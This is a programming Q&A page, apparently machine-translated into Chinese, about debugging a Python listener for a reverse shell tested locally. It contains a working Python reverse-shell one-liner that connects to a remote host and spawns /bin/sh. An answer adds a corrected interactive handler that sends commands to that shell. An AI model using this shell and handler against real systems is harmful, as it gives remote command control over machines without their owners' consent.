簡體   English   中英

bash shell 和 python 服務器發送命令

[英]bash shell and python server to send commands

我對我在本地嘗試的反向 shell 之一有疑問:

在手動嘗試使用以下反向 shell 獲取交互式 shell 的步驟后:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

_

我試圖做一個 python 服務器來自動化這個:

# coding: utf-8

import socket

socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.bind(('', 1234))
socket.listen(1)
client, address = socket.accept()
print "{} connected".format( address )

while True:
        print(client.recv(2048)) # this showed me I had a shell
        client.send(input("").encode('utf-8'))

client.close()
stock.close()

有人能弄清楚為什么我的命令沒有執行但 shell 啟動(客戶端)嗎?

謝謝。

    client.send(input("").encode('utf-8'))

input將從它讀取的輸入中刪除換行符。 shell 雖然期望命令以換行符結尾。 因此,解決方法是添加缺少的換行符:

    client.send(input("").encode('utf-8') + b"\n")
  • 首先,變量名不應與庫名相同。
  • 服務器首先需要一些數據,但沒有數據到來。 這就是問題發生的原因。
  • 由於您直接連接到 shell,因此每次發送數據時都必須使用換行符,即 '\n'
  • 每次發送數據時,您都必須等待一段時間才能獲取數據。 如果你不等待,就會出現問題,因為你試圖在代碼在另一端運行之前拉取數據。
  • 您需要解碼傳入的數據
  • 關閉客戶端和套接字將不起作用。 因為它永遠不會退出 while 循環,並且下面的代碼將不起作用。 您可以為此檢查 output。 例如,當您鍵入“退出”時,循環將結束。

代碼至少應該是這樣的:

import socket
import time

def interact(client):
    command=''
    while(command != 'exit'):
        command=input('$ ')
        client.send((command + '\n').encode('utf-8'))
        time.sleep(0.5)
        print client.recv(2048).decode('utf-8')
    client.close()
    return

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 1234))
s.listen(1)
client, addr = s.accept()
print "{} connected".format( addr )
interact(client)

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM